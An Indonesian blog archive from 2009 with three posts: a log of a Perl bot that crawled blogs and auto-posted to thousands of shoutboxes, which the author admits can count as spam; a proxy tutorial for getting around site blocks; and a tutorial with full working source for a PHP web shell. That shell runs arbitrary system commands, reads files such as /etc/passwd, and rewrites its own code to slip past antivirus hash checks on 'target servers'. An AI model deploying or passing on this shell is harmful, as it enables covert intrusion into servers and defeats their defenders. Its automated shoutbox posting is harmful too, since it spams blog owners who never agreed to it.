Selasa, 19 Mei 2009

Latest update proyek webcrawl judotenslab

Berhubung post sebelumnya yang berjudul Membangun Web Crawler / Web Spider sendiri, cikal bakal search engine lokal Indonesia? sudah terlalu panjang. Untuk kedepannya saya akan masukkan timeline history dari proyek ini di sini saja. Dan memang post ini hanya ditujukan untuk mereka yang tertarik untuk mengikuti perkembangan proyek bersama kita ini.

Sebelumnya untuk memudahkan penelusuran timeline history, saya coba beri kode dahulu untuk setiap script berdasarkan eksekusinya.

BlogCrawler : bot pertama, yang bertugas menjelajah jejaring blog lewat shoutbox
ShoutPoster : bot kedua, yang bertugas memposting ke daftar jejaring shoutbox, hasil dari penjelajah bot pertama

F.A.Q :
Q : Apa hanya shoutbox yang dicari oleh BlogCrawler?
A : Sampai saat ini iya.

Q : Mengapa?
A : Karena shoutbox masih belum menggunakan image verification untuk mencegah bot/spam.

Q : Lalu apakah kegiatan ini bisa dianggap SPAM?
A : Bisa. Tergantung tujuan mau dibawa kemanakah proyek kita ini.

Q : Lalu apa saja yang di fetch dari blog yang dijelajahi?
A : Sementara ini hanya mencari LINK blog untuk dimasukan kedatabase. Dan link tersebut hanya diambil dari kotak SHOUTBOX. Tidak dari post atau artikel.

Q : Apakah mungkin BlogCrawler ini berhenti bekerja?
A : Sangat mungkin. Karena bot ini hanya akan terus berjalan ketika beberapa kondisi tertentu terpenuhi. Seperti : masih ada collected list web yang belum dijelajahi. Atau misalnya ketika jejaring blog yang sedang dijelajahi sudah mencapai titik maksimalnya. Jadi jika ketika bot menemukan kondisi yang tidak terpenuhi maka dia akan berhenti dengan sendirinya.

Q : Apa bedanya dengan crawler search engine seperti Google Bot/ Yahoo Bot?
A : Beda. Mereka memfetch konten web, dan memparsingnya kedalam beberapa kriteria, lalu memprosesnya sesuai prosedur yang mereka rahasiakan. Dengan modal data ini lah mereka bisa menentukan page rank sebuah halaman blog.

Q : Lalu apakah proyek ini dirilis ke sesama blogger nantinya?
A : Tergantung keputusan bersama sajalah. Dan tentu, tergantung donatur yang membantu seluruh proyek ini berjalan. Yang jelas, asal tidak dimanfaatkan jadi ajang SPAM. Karena yang ada nantinya malah budaya blogwalking menjadi hilang, dan blogger ramai - ramai menggunakan bot ini hanya sekedar untuk promosi, mencari traffic, atau mendapatkan page rank saja. Tidak. Tidak.

Q : Apakah ini sebuah karya plagiat?
A : Bisa dibilang iya. WebCrawl mah udah ada dari jaman search engine pertama. Malah mungkin tekniknya udah ada jauh sebelumnya waktu dibuat sebagai worm yang mengukur seberapa besar luas internet kala itu. Namun kan sekarang internet sudah terlalu luas. Crawler dibuat dengan berbagai macam variasi, teknik dan tujuannya. Masalah kesamaan istilah, teknik, alur maupun cara kerja itu gak saya pedulikan. Toh yang penting, saya membuat ini sendiri dari nol, dan tidak mengambil/memotong source code crawler GPL dari sumber manapun, kecuali google sebagai referensi pemrograman. Dan satu lagi ingat, saya dedikasikan khusus untuk tujuan blogwalking.

Q : Lalu bagaimana dengan search engine lokal yg dibahas dipost sebelumnya?
A : Kan udah saya bilang, namanya juga mimpi. Gratis toh?Hehehe. Tapi yang jelas sih, tinggal tambahin sentuhan spesifikasi yang memadai dan dengan pembenahan kode disana sini kita bisa mulai membuat search engine khusus blogger lokal. Ya tapi tetap, crawlingnya juga dibantu dengan bantuan resource gak terpakai di pc blogger, tentunya.

Referensi bagus untuk anda yang mau memulai memahami, atau mencobanya sendiri :
http://bacadulu.co.cc/webcrawler

Timeline:

Selasa 19 May 2009, 01:15 WIB
Running ShoutPoster #1 yg khusus dibuat untuk otomatis posting ke shoutbox

Selasa 19 May 2009, 03:23 WIB
Ternyata BlogCrawler #1 saya berhenti karena sudah kehabisan target web yg belum dikunjungi. Kemungkinan penyebab pertamanya ialah lingkup network blogger yang telah mencapai titik maksimal. Lingkaran jejaring blogger yang saya mulai dari blog pribadi saya ini mungkin saja telah mencapai titik dimana seluruh blogger didalam jejaring blog yang ada dishoutbox telah dikunjungi.
Statistiknya :
Running selama 1 Hari , 6 Jam, 23 Menit atau 34jam,23 menit atau rata - rata menjelajah sebanyak 5 blog / menit.

Total Web terjelajah : 11464 blog
Total ShoutBox ditemukan : 3774 buah.

INFO: saat ini BlogCrawler #2 telah dijalankan dengan menggunakan blog acak dari daftar web yang terkoleksi sebagai web pertama yang dicrawl (http://all-musik.blogspot.com). Semoga saja crawler saya kali ini bisa menemukan cincin jejaring blog yang berbeda dengan jejaring blog yang telah di temukan sebelumnya. Apabila terjadi penemuan kesamaan jejaring, maka crawler akan berhenti sendiri karena kehabisan daftar target webnya.

Silahkan pantau terus di http://mawarbiru.co.cc/shoutcrawl/ teman - teman

Selasa 19 May 2009, 18:40 WIB
ShoutPoster #1 telah berhenti di angka 5278. Artinya seluruh shoutbox tersebut telah di jejaki oleh web crawler saya. Dan mohon maaf untuk rekan - rekan yang memiliki dobel sampai triple post di SHOUTBOXNYA. Sementara itu untuk script penjelajah masih terus running dan melakukan counting sampai saat ini. Dan tampaknya script saya kali ini telah menemukan jejaring blog yang baru, dan sedikit bergeser kearah blog milik warga Malaysia dan beberapa negara lainnya. Ini membuktikan bahwa berhentinya proses crawling di eksekusi pertama memang karena jejaring blog di lingkup blog pribadi saya ini telah selesai di jelajahi. Sementara itu ShoutPoster #2 telah dijalankan dengan list shoutlist dari hasil kerja sementara

Mohon maaf untuk anda yang tidak bisa membuka dan melihat update live dari web crawler. Tampaknya server mulai mengalami kewalahan karena melonjaknya traffic yang masuk. Terbukti dengan kiriman email notifikasi dari hyperspin yang memberitahukan bahwa server sempat mati 5 jam di siang hari tadi.




Untuk sementara rekan - rekan bisa melihat perkembangan efek web crawler ini terhadap traffic blog dengan memantau jumlah pesan di SHOUTBOX, FEEDJIT Live Traffic, atau hit counter blog ini.

Oh iya, untuk rekan -rekan yang telah mengirimkan email dan komentar, baik itu saran, kritik, maupun donasi, mohon maaf apabila saya belum sempat membalasnya hari ini. Namun saya janji akan secepatnya membalas seluruh komentar dan email rekan - rekan.

Terimakasih atas dukungan dan supportnya teman - teman!

Selasa 19 May 2009, 20:05 WIB

Running BlogCrawler #3 dengan web jelajah pertama http://nugrohoadipratama.com.
Live update nya bisa diliat di http://mawarbiru.co.cc/shoutcrawl2/
Dan tidak lama kemudian ShoutPoster #3 running bermodalkan list shoubox dari BlogCrawler #3.

Rabu 20 May 2009, 00:00 WIB

ShoutPoster #2 telah berhenti bekerja. Dikarenakan daftar shoutbox telah dikunjungi semua. Bahkan ditemukan ribuan shoutbox yang sama dengan koleksi shoutbox yang ditemukan BlogCrawler #1 sebelumnya. Saya sampai tidak yakin dan merechecknya dengan mengecek 7 halaman per ShoutBox hanya untuk mengecek apakah ShoutPoster telah mengunjunginya sebelumynya.

Dan ternyata kemungkinannya BlogCrawler #1 dan #2 memiliki irisan jejaring blog pada jalur jelajahnya. Walaupun semakin kesininya hasil jelajah BlogCrawler #2 lebih kearah blog - blog milik warga Malaysia. Namun bagaimanapun juga saya masih menunggu hasil kelanjutan dari BlogCrawler #2 ini.


Untuk ShoutPoster #3 juga mengalami kejadian serupa dengan penjelasan diatas. Namun, ShoutPoster #3 masih terus running sampai sekarang.


Rabu 20 May 2009, 06:15 WIB


BlogCrawler #2 telah berhenti beraktifitas. Tampaknya sang bot hanya menemukan Blog yang "itu itu saja" melulu. Mengapa? Mungkin saja karena pada kurun waktu jelajahnya, hanya sekian ribu blogger di jejaring blog yang sedang aktif dishoutboxnya, dan sialnya ribuan blog itu telah dijelajahi oleh bot sebelumnya. Selain tu, ShoutPoster #3 pun juga akhirnya berhenti beraktifitas. Jadi saat ini tinggal BotCrawler #3 yang masih berjalan (tapi mungkin sore ini akan berhenti juga).

ShoutPoster tidak akan saya eksekusi dulu sampai batas waktu yang belum ditentukan. Saya masih ingin meneliti lebih jauh hasil jelajah dan kerja yang dilakukan dua bot ini. Sambil memikirkan mau dibawa kemana proyek ini kedepannya, saya juga sedang menimbang - nimbangkan seluruh saran dan donasi yang masuk ke email. Jadi untuk rekan - rekan, bukannya saya tidak mau membalas komentar dan seluruh masukan yang diterima lho ya. Harap maklum karena saya juga tidak punya waktu banyak untuk proyek ini.

Beberapa blogger telah menganggap ini adalah kegiatan pembuatan mesin spam yang hanya menyampah di internet saja. Buat saya tidak, karena saya dari alur yang saya buat di post sebelumnya sudah jelas : BlogCrawler dan ShoutPoster adalah dua bot yang berbeda. BlogCrawler adalah bot penjelajah, bot utama yang di sedang dikembangkan untuk kepentingan mengumpulkan data. Dan ShoutPoster ialah si peninggal jejak, mesin yang berpotensial menjadi SPAM ENGINE. ShoutPoster saya gunakan di uji coba ini hanya untuk memberi jejak pada blog yang telah dijelajahi agar mudah untuk dianalisis nantinya. Tidak untuk dikembangkan lebih jauh.

Akhir kata, semoga saja kedepannya setelah kemana arah proyek ini ditentukan, penelitian akan dilanjutkan dengan merivisi kode disana sini, dan semoga akhirnya kita semua bisa merasakan manfaat bersama proyek ini, untuk para blogger khususnya. Amin.


Senin, 18 Mei 2009

Membangun Web Crawler / Web Spider sendiri, cikal bakal search engine lokal Indonesia?

Sejak aktif kembali menulis blog beberapa hari ini, saya merasakan satu hal yang lumayan cape untuk dilakukan, yaitu : blogwalking. Blogwalking yang saya lakukan biasanya mungkin disebut nyampah oleh para blogger. Mengapa? Karena blogwalking yang dilakukan hanya sekedar 'jalan-jalan' ini bertujuan mengunjungi berbagai blog dan mencari kotak ShoutBox-nya dan kemudian meninggalkan jejak disana. Tidak seperti para blogger yang memang berniat membangun good relationship dengan mengomentari artikel dari blog yang bersangkutan.

Lalu apa hubungannya dengan sebuah Web Crawler?
Setelah merasa cape blogwalking seharian, saya terpikirkan untuk membuat sebuah bot yang berfungsi menggantikan pekerjaan saya, yaitu blogwalking dan meninggalkan jejak di ShoutBox para blogger. Hmm, PR yang menantang dan menarik untuk diimplementasikan bukan?

Awalnya kode ini saya mau buat dilingkungan PHP atau VB saja, namun karena adanya keterbatasan - dan kekurangan di tiap bahasa tersebut akhirnya saya lebih memilih PERL sebagai landasan programmingnya.

Dua jam berkutat dengan PERL dan dengan hanya bermodalkan google dan pengalaman minim di PERL, akhirnya script ini pun selesai dikerjakan. Yap, walaupun masih beta -tapi Web Crawler yang saya buat ini sudah memiliki fungsi utamanya, yaitu menjelajah blog - blog dan kotak ShoutBox.

Web Crawler / Web Spider ini saya coba running test ( web pertama yang dijelajahi adalah http://judotenslab.blogspot.com ) pada hari Minggu, 17 May 2009 Pukul. 21.55 WIB dan masih terus berjalan sampai sekarang. So far, pada hari ini (Senin, 18 May 2009 Pukul. 13:16 WIB) total web yang dicrawler sudah mencapai : 6408 website dan menemukan sekitar 2350 kotak ShoutBox milik para bloger dalam kurun waktu 15 Jam, 10 Menit.

Hasil yang cukup memuaskan bukan? Namun sedikit disayangkan Web Crawler judotenslab ini berjalan di server kosan yang menggunakan koneksi TELKOM SPEEDY dengan kecepatan standar. Bisa dibayangkan apabila saya mendapatkan donatur yang mau meminjamkan server berkecepatan tinggi-nya untuk melakukan test Web Crawler Performance ini, mungkin hasil yang didapat akan jauh berkali lipat.

Setelah melihat hasil yang cukup memuaskan, saya malah kepikiran untuk memanfaatkan Web Crawler saya ini sebagai modal utama membuat Search Engine sendiri. Yah, setidaknya Search Engine khusus blog lokal-lah. Tapi tentu tidak segampang itu merealisasikannya. Minimal saya harus memiliki server utama yang kuat, dari segi Bandwith dan Spesifikasinya. Dan satu lagi, faktor keberuntungan tampaknya juga berpengaruh. Hehehe. Maklum, tampaknya masi mimpi muluk untuk benar - benar merealisasikannya jika dilakukan sendiri dan tanpa bantuan rekan - rekan blogger yang lain.

Rencana lain yang sedang di persiapkan adalah membuat Web Crawler ini bisa running ramai - ramai di berbagai PC yang berbeda, namun tetap dengan hasil yang berbeda pula. Jadi dengan teknik seperti ini, Web Crawler / Web Spider buatan saya menjelajah jutaan website dengan lebih cepat dengan bantuan dari para blogger semuanya. Dan teman - teman pun bisa membantu menyumbangkan kinerja komputernya yang tidak terpakai untuk melakukan crawling ini setiap harinya.

Semoga saja proyek ini bisa direalisasikan dan didukung penuh oleh mereka yang berkompeten. Karena saya pikir, kita bisa memiliki dan merasakan manfaat yang lebih banyak dari Search Engine Lokal yang kita bangun. Sekaligus menunjukkan kepada dunia bahwa sumber daya IT di negeri kita pun banyak yang berkualitas, tidak didominasi oleh masyarakat Eropa/Amerika atau India saja.

Jika anda tertaruk untuk memberi donasi server, atau ikut melakukan penelitian Web Crawler / Web Spider ini, silahkan hubungi saya di judotens@gmail.com

Dan teruslah pantau hasil crawler Web Spider saya ini di :
http://mawarbiru.co.cc/shoutcrawl/



Akhir kata, sekian dulu suguhan dari saya kali ini. Teruslah berkarya dan hidupkan industri kreatif di negeri ini.


Untuk mengikuti update dan timeline history bisa mengikutinya di post selanjutnya :
http://judotenslab.blogspot.com/2009/05/latest-update-proyek-webcrawl.html


TAMBAHAN:

Screenshot,

Web Crawler (jelajah blog dan mencari shoutbox2) running ke dua di server windows


Script kedua (posting ke shoutbox) yg running di server windows


Alur sederhana kedua script ini :


*maap berantakan, bikinnya buru2 pake mspaint.wkekekekeke
tapi alurnya cukup jelas kok buat kalian yg mau coba programming sendiri, terserah pake bahasa pemrograman apa dan tujuannya buat apa. yang penting ide dan kreatifitasnya aja sama - sama kita share disini.



MAAF UNTUK ANDA YG TERGANGGU KENYAMANNYA, SILAHKAN TULIS URL ANDA DISINI JIKA TIDAK INGIN DILEWATI UJI COBA WEB CRAWLER INI.


Salam,
Judotens M.B

Sabtu, 16 Mei 2009

Tutorial Membuat Web Proxy di Hostingan Sendiri

Apakah anda tidak bisa membuka Myspace?
Facebook? Friendster? Atau BB17.INFO ? *ups*

Seperti yang kita ketahui bahwa banyak situs - situs yang diblokir oleh ISP atau pemerintah karena kontennya yang dianggap berbahaya, atau berbau pornografi. Namun selain itu, beberapa rekan juga mengalami pemblokiran website oleh ADMIN kantornya karena peraturan yang berlaku.

Sekarang kita akan belajar membuat sebuah WEB PROXY, sebuah web yang bisa membypass pemblokiran web -web tadi. Jadi dengan WEB PROXY, seluruh request web anda akan di wakilkan oleh si WEB PROXY tadi. Untuk lebih mudahnya saya coba buatkan alur sederhana seperti ini :

PC ANDA -> WEB TUJUAN

Ini adalah alur yang biasanya anda gunakan untuk membuka web tersebut. Dimana anda langsung mengetikkan alamat web tujuan di browser anda. Namun jika web tujuan diblokir, maka anda harus membypassnya menjadi seperti ini :

PC ANDA -> WEB PROXY -> WEB TUJUAN

Sehingga sistem yang memblokir website anda akan terkecoh karena sistem tidak akan mendeteksi kalau anda ternyata sedang membuka WEB TUJUAN. Mengapa? Karena alamat yang anda buka di browser adalah alamat dari WEB PROXY, yang seharusnya tidak ikut di BLOKIR.

Jadi di WEB PROXY ini anda bisa browsing tanpa perlu lagi takut terkena blokir.

Sekarang mari kita coba membuat sebuah WEB PROXY di server hostingan (baik gratisan maupun berbayar).

WEB PROXY yang saya pilih adalah GLYPE PROXY. Selain mudah diinstall, GLYPE PROXY juga sangat mudah di edit maupun di customize. Sehingga tidak akan terlalu memusingkan anda untuk menginstallnya.

Pertama downloadlah dahulu GLYPE PROXY di alamat berikut ini :
http://downloadwho.com/file/05b88d

Setelah didownload, extraclah file glype-1.4-11.zip ke harddisk anda terlebih dahulu.
Proses extrac akan menghasilkan sebuah direktory bernama Glype-1.1 dengan beberapa subdirektori didalamnya.

Dari dalam Subdirektori Extras, terdapat file admin.php. Copylah file tersebut dan masukkan kedalam direktori Upload.

Lalu, sekarang uploadlah direktori UPLOAD ke dalam server hostingan anda. Dan jangan lupa rename direktori UPLOAD dengan nama apapun yang lebih mudah diingat, misalnya : WEBPROXY.

Setelah proses upload berhasil, coba untuk membuka WEB PROXY tersebut di server anda.
Misalnya saya menginsall di direktori WEBPROXY, server WENEEDSECURE.ORG -maka saya mengetesnya di
http://www.weneedsecure.org/webproxy

Jika halaman GLYPE PROXY sudah muncul, ini berarti proses install telah berhasil. Dan sekarang perlu sedikit lagi customisasi.

Sebelumnya, setelah FILE PERMISSION di subdirektori INCLUDES/SETTINGS.PHP menjadi 777. Selain itu, juga ubah PERMISSION di subdirektori TMP.

Sekarang, coba buka admin.php di root GYLPE DIRECTORY ANDA, misalnya : /webproxy/admin.php
Seharusnya sebuah halaman login akan muncul sekarang. Masukkan username admin dan passwordnya terserah anda. INGAT, SIMPANLAH DATA LOGIN ANDA INI.

Setelah masuk ke dalam Admin Area, anda bisa mencustomnya lebih jauh disini. Seperti Footer untuk WEB PROXY anda, atau mengatur CACHE dan LOGSnya. Bahkan anda pun bisa mengganti themes WEB PROXY anda dengan themes yang banyak bertebaran di Internet. Silahkan googling dengan keyword GYLPE PROXY THEMES.

Setelah semua proses customisasi selesai anda sudah bisa mencoba WEB PROXY anda. Coba sekarang buka /webproxy dan ketiklah WWW.CMYIP.COM dan lihat apakah IP ADDRESS anda sudah berubah sekarang.

Jika sudah, maka seluruh konfigurasi telah bekerja dengan baik. Dan silahkan membypass web - web yang diblokir.

Untuk contoh silahkan kunjungi :

http://www.weneedsecure.org/webproxy



Salam,
Judotens M.B

Kamis, 14 Mei 2009

Membuat script PHP SHELL yang berpolymorphic untuk server target

Akhirnya setelah vakum beberapa bulan saya sempat menulis artikel di blog ini lagi. Topik yang saya bahas kali ini ialah PHP programming yang berguna untuk anda yang memiliki backdoor di server target.

Saya tidak akan menjelaskan bahasan tentang PoC atau proof of concept serangan, atau bagaimana caranya mendapatkan akses sehingga bisa memasang PHP SHELL di server. Tapi saya hanya ingin membahas bagaimana menciptakan script PHP SHELL yang lebih sukar untuk dideteksi oleh antivirus di server web.


PHP SHELL ialah sebuah injection script di server website yang berguna untuk mendapatkan akses shell. Dengan sebuah shell kita bisa mendapatkan akses File I/O, database, atau bahkan sistem layaknya seperti hak seorang admin dalam mengelola websitenya. Karena begitu berbahayanya sebuah PHP SHELL di server, biasanya para root mematikan fungsi - fungsi penting PHP yang memiliki fungsi bumerang bagi servernya, seperti fungsi system(). Bahkan antivirus khusus server web pun menjadikan PHP SHELL sebagai target operasi utamanya, selain berbagai macam rootkit backdoor yang lainnya.

Pada umumnya root menggunakan antivirus untuk menscan sistem dan mencari berbagai file yang memiliki hash MD5 berbahaya. Hash MD5 layaknya sebuah sidik jari pada sebuah file. Setiap konten file yang berbeda akan selalu memiliki hash MD5 yang berbeda. Oleh karena itu bisa dibayangkan jika sample PHP SHELL milik anda sudah dimiliki seorang root, maka dia dapat dengan mudah mencari seluruh PHP SHELL yang sudah ditanam diserver dan segera menghapus -bahkan membloknya dari white list running process. Semua ini dilakukan hanya dengan bermodalkan sidik jari PHP SHELL kita. Menyebalkan bukan?hehehe

Lalu bagaimanakah caranya agar sebuah script (apapun itu, tidak hanya PHP SHELL saja) bisa bertahan lebih lama di server target? Bagaimana caranya agar contoh PHP SHELL milik kita yang telah dimiliki admin tidak bisa digunakan dengan mudah untuk mencari lokasi script - script tersebut ditanam?

Polymorphic jawabannya.

Menurut simple saya, polymorphic code adalah sebuah teknik mutasi kode yang dilakukan oleh kode itu sendiri dan berfungsi untuk menyamarkan diri dengan selalu mengubah konten kode yang secara otomatis juga mengubah sidik jari / HASH dari kode tersebut.

Contoh kasus : Saya telah menanam ratusan PHP SHELL di server target dan sialnya, salah satu lokasi PHP SHELL saya telah diketahui oleh root. Maka dengan mudah seorang root akan mencari hash PHP SHELL saya, lalu mencari seluruh file di server yang memiliki hash sama. Nah, dengan PHP SHELL yang dilengkapi polymorphic, hash file yang dimiliki oleh root sudah pasti berbeda dengan ratusan PHP SHELL yang tersebar diservernya, WALAUPUN PADA DASARNYA SELURUH PHP SHELL YG SAYA TANAM IALAH FILE YANG SAMA. Jadi, langkah root untuk mengejar ratusan PHP SHELL lainnya akan jauh lebih sulit, apalagi jika sang root tidak memiliki kemampuan menganalisis kode PHP SHELL kita yang dienkripsi.

Misalnya mini php shell (shell.php) saya seperti ini :


<?
$shell_cmd = $_REQUEST['cmd'];
$shell_file = $_REQUEST['file'];
if ($shell_cmd == 'about') { echo 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0'; }
elseif ($shell_cmd == 'readfile') { echo file_get_contents($shell_file); }
elseif ($shell_cmd == 'phpinfo') { phpinfo(); }
else { system($shell_cmd); }
?>


Keterangan fungsinya :


/shell.php?cmd=about
> memunculkan versi php shell (biasanya utk kepentingan update otomatis)

/shell.php?cmd=readfile&file=/etc/passwd
> membaca isi file /etc/passwd di server

/shell.php?cmd=phpinfo
> menampilkan PHPINFO() yang merisikan informasi detil tentang PHP dan server web

/shell.php?cmd=ls -all
> melisting isi work direktori di server


Secara struktur kode, script di atas memiliki 6 string dan 2 nama variabel :

String Array : ('cmd', 'file', 'about', 'PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0', 'readfile', 'phpinfo')
Nama Variable : $shell_cmd dan $shell_file (variabel dengan prefix awalan $shell_ )

Pada kedua kunci utama inilah kita perlu enkripsi dan mutasi kode.
Mengapa? Karena biasanya sebuah string maupun nama variable lebih gampang dicari menggunakan teknik pendekatan konten oleh antivirus. Sehingga tugas kita meminimalisasi hasik pencarian dengan teknik seperti ini dengan cara mengenkripsi dan memutasikan kodenya.

Berikut saya lampirkan kode encrypt/decrypt string sederhana :



function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}



Dan berikut kode polymorphic sederhana yg dibuat berdasarkan struktur kode php shell saya di atas :



function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","refresh",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("refresh","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}


Langkah - langkah pembentukan kode :
1. Tentukan key untuk enkripsi anda dan simpan di variabel $shell_key, misalnya :
$shell_key = 'rahasia';

2. Enkripsi seluruh string utama yang anda gunakan di kode dengan memanggil fungsi shell_en('stringanda'), misal hasilnya seperti ini :



$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');


3. Tentukan string yang selalu acak untuk memutasi kode dan simpan di variabel $shell_sess, misalnya :


$shell_sess = $_SERVER['REQUEST_TIME']; // mendapatkan string acak dari waktu request http

Berikut kode utuh setelah shell.php saya bubuhkan fungsi enkripsi dan polymorphic



<?
error_reporting(0); // mematikan error notification di kode PHP
$shell_morphic = 'shell_';
$shell_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$shell_key = 'rahasia';
$shell_sess = $_SERVER['REQUEST_TIME'];
$shell_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$shell_cmd = $_REQUEST[shell_de($shell_string[0])]; // mengambil request field cmd
$shell_file = $_REQUEST[shell_de($shell_string[1])]; // mengambil request field file

if ($shell_cmd == shell_de($shell_string[2])) { echo shell_de($shell_string[3]); }
elseif ($shell_cmd == shell_de($shell_string[4])) { echo file_get_contents($shell_file); }
elseif ($shell_cmd == shell_de($shell_string[5])) { phpinfo(); }
else { system($shell_cmd); }

function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace("shell_path","shell_path",$shell_tmp);
$shell_tmp = str_replace($shell_morphic, "sess".$shell_sess."_", $shell_tmc);
$shell_tmp = str_replace("shell_path","shell_path",$shell_tmp);

$fh = fopen($shell_path, 'w') or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}
polymorphic();
?>



Sekarang silahkan coba script tersebut di server target anda, dan coba perbedaannya dengan ketika kode setelah dieksekusi :



<?
error_reporting(0); // mematikan error notification di kode PHP
$sess1242301251_morphic = 'sess1242301251_';
$sess1242301251_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$sess1242301251_key = 'rahasia';
$sess1242301251_sess = $_SERVER['REQUEST_TIME'];
$sess1242301251_string = array('xN/F','x9vNzQ==','wtTQ3dU=','sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=','09fCzMfc1cY=','0drR0c/Z2A==');
$sess1242301251_cmd = $_REQUEST[sess1242301251_de($sess1242301251_string[0])]; // mengambil request field cmd
$sess1242301251_file = $_REQUEST[sess1242301251_de($sess1242301251_string[1])]; // mengambil request field file

if ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[2])) { echo sess1242301251_de($sess1242301251_string[3]); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[4])) { echo file_get_contents($sess1242301251_file); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[5])) { phpinfo(); }
else { system($sess1242301251_cmd); }

function sess1242301251_en($str){
global $sess1242301251_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

function sess1242301251_de($str){
global $sess1242301251_key;
$str = base64_decode($str);
$result = '';
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

function polymorphic() {
global $sess1242301251_path, $sess1242301251_sess, $sess1242301251_morphic;
$sess1242301251_tmp = file_get_contents($sess1242301251_path);
$sess1242301251_tmc = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);
$sess1242301251_tmp = str_replace($sess1242301251_morphic, "sess".$sess1242301251_sess."_", $sess1242301251_tmc);
$sess1242301251_tmp = str_replace("sess1242301251_path","sess1242301251_path",$sess1242301251_tmp);

$fh = fopen($sess1242301251_path, 'w') or die(core_de($sess1242301251_string[6]));
fwrite($fh, $sess1242301251_tmp);
fclose($fh);
}
polymorphic();
?>


Sudah berubah bukan? Dan struktur kode ini akan selalu berubah ketika kode tersebut dipanggil. Yap, kini anda telah memiliki polymorphic php shell sendiri!

Jika anda ingin PHP SHELL ini lebih privat, maka tentukan $shell_key pribadi anda dan enkripsi seluruh string tadi dengan $shell_key anda. Setelah itu gantilah baris
$shell_key = 'rahasia'; menjadi $shell_key = $_REQUEST['key'];

dengan begitu, maka setiap pemanggilan shell harus menyertakan key enkripsi anda dalam field request, jika keynya tidak sah maka php shell pun tidak akan berfungsi karena proses dekripsinya gagal.
Contoh pemanggilan privat php shellnya :



/shell.php?key=rahasia&cmd=about

coba anda bandingkan dengan pemanggilan biasa seperti ini :
/shell.php?cmd=about



Semoga artikel ini cukup bermanfaat untuk anda yang sedang mencari referensi tentang PHP SHELL, maupun teknik POLYMORPHIC. Maafkan saya atas gaya bahasa yang agak sukar dimengerti karena keterbatasan daya penjelasan saya.

Silahkan kirim email ke saya jika ingin mempelajari lebih dalam materi tersebut.

Akhir kata, silahkan menikmati sajian saya kali ini dengan kepala dingin anda. Setiap materi pembelajaran ditujukan hanya untuk kepentingan edukasi, dan sama sekali bukan provokatif untuk merusak sistem orang lain.

Use it at your own risk..

Salam,
Judotens M.B